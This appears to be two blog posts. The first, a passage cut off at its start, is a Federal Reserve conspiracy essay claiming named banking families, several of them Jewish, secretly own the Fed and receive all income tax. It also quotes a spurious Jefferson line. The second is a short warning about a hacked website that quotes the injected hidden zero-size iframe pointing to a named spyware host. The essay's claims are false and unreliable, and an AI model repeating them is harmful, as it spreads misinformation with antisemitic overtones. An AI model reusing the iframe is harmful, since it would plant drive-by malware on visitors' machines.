and deceive Congress into enacting legislation that would covertly establish a private central bank. This bank would assume control over the American economy by controlling the issuance of its money. After a huge public relations campaign, engineered by the foreign central banks, the Federal Reserve Act of 1913 was slipped through Congress during the Christmas recess, with many members of the Congress absent. President Woodrow Wilson, pressured by his political and financial backers, signed it on December 23, 1913. The act created the Federal Reserve System, a name carefully selected and designed to deceive. "Federal" would lead one to believe that this is a government organization. "Reserve" would lead one to believe that the currency is being backed by gold and silver. "System" was used in lieu of the word "bank" so that one would not conclude that a new central bank had been created. In reality, the act created a private, for profit, central banking corporation owned by a cartel of private banks. Who owns the FED? The Rothschilds of London and Berlin; Lazard Brothers of Paris; Israel Moses Seif of Italy; Kuhn, Loeb and Warburg of Germany; and the Lehman Brothers, Goldman, Sachs and the Rockefeller families of New York. Did you know that the FED is the only for-profit corporation in America that is exempt from both federal and state taxes? The FED takes in about one trillion dollars per year tax free! The banking families listed above get all that money. Almost everyone thinks that the money they pay in taxes goes to the US Treasury to pay for the expenses of the government. Do you want to know where your tax dollars really go? If you look at the back of any check made payable to the IRS you will see that it has been endorsed as "Pay Any F.R.B. Branch or Gen. Depository for Credit U.S. Treas. This is in Payment of U.S. Oblig." Yes, that's right, every dime you pay in income taxes is given to those private banking families, commonly known as the FED, tax free. Like many of you, I had some difficulty with the concept of creating money from nothing. You may have heard the term "monetizing the debt," which is kind of the same thing. As an example, if the US Government wants to borrow $1 million ó the government does borrow every dollar it spends ó they go to the FED to borrow the money. The FED calls the Treasury and says print 10,000 Federal Reserve Notes (FRN) in units of one hundred dollars. The Treasury charges the FED 2.3 cents for each note, for a total of $230 for the 10,000 FRNs. The FED then lends the $1 million to the government at face value plus interest. To add insult to injury, the government has to create a bond for $1 million as security for the loan. And the rich get richer. The above was just an example, because in reality the FED does not even print the money; it's just a computer entry in their accounting system. To put this on a more personal level, let's use another example. Today's banks are members of the Federal Reserve Banking System. This membership makes it legal for them to create money from nothing and lend it to you. Today's banks, like the goldsmiths of old, realize that only a small fraction of the money deposited in their banks is ever actually withdrawn in the form of cash. Only about 4 percent of all the money that exists is in the form of currency. The rest of it is simply a computer entry. Let's say you're approved to borrow $10,000 to do some home improvements. You know that the bank didn't actually take $10,000 from its pile of cash and put it into your pile? They simply went to their computer and input an entry of $10,000 into your account. They created, from thin air, a debt which you have to secure with an asset and repay with interest. The bank is allowed to create and lend as much debt as they want as long as they do not exceed the 10:1 ratio imposed by the FED. It sort of puts a new slant on how you view your friendly bank, doesn't it? How about those loan committees that scrutinize you with a microscope before approving the loan they created from thin air. What a hoot! They make it complex for a reason. They don't want you to understand what they are doing. People fear what they do not understand. You are easier to delude and control when you are ignorant and afraid. Now to put the frosting on this cake. When was the income tax created? If you guessed 1913, the same year that the FED was created, you get a gold star. Coincidence? What are the odds? If you are going to use the FED to create debt, who is going to repay that debt? The income tax was created to complete the illusion that real money had been lent and therefore real money had to be repaid. And you thought Houdini was good. So, what can be done? My father taught me that you should always stand up for what is right, even if you have to stand up alone. If "We the People" don't take some action now, there may come a time when "We the People" are no more. You should write a letter or send an email to each of your elected representatives. Many of our elected representatives do not understand the FED. Once informed they will not be able to plead ignorance and remain silent. Article 1, Section 8 of the US Constitution specifically says that Congress is the only body that can "coin money and regulate the value thereof." The US Constitution has never been amended to allow anyone other than Congress to coin and regulate currency. Ask your representative, in light of that information, how it is possible for the Federal Reserve Act of 1913, and the Federal Reserve Bank that it created, to be constitutional. Ask them why this private banking cartel is allowed to reap trillions of dollars in profits without paying taxes. Insist on an answer. Thomas Jefferson said, "If the America people ever allow private banks to control the issuance of their currencies, first by inflation and then by deflation, the banks and corporations that will grow up around them will deprive the people of all their prosperity until their children will wake up homeless on the continent their fathers conquered." Jefferson saw it coming 150 years ago. The question is, "Can you now see what is in store for us if we allow the FED to continue controlling our country?" "The condition upon which God hath given liberty to man is eternal vigilance; which condition if he breaks, servitude is at once the consequence of his crime, and the punishment of his guilt."

Web Site Hacked

One of my web sites was recently hacked. I found that out just about an hour ago when I went to check it out. A friend, Christine, has been working on it for free. She put a lot of time into it already. All of her html files were deleted. I found this script on the index page. iframe src="http://www.7sir7.com/abx2.html" frameborder=0 width=0 height=0 marginwidth=0 marginheight=0 scrolling=no /iframe, minus the closing tags. It seems that iPowerWeb, my hosting provider for several of my web sites had their servers compromised. This web site was not affected. I hope that the people involved are caught and strung up on a pole. Also,7sir7.com is a hacking site. It will attempt to install spyware on your machine. Do not visit it.
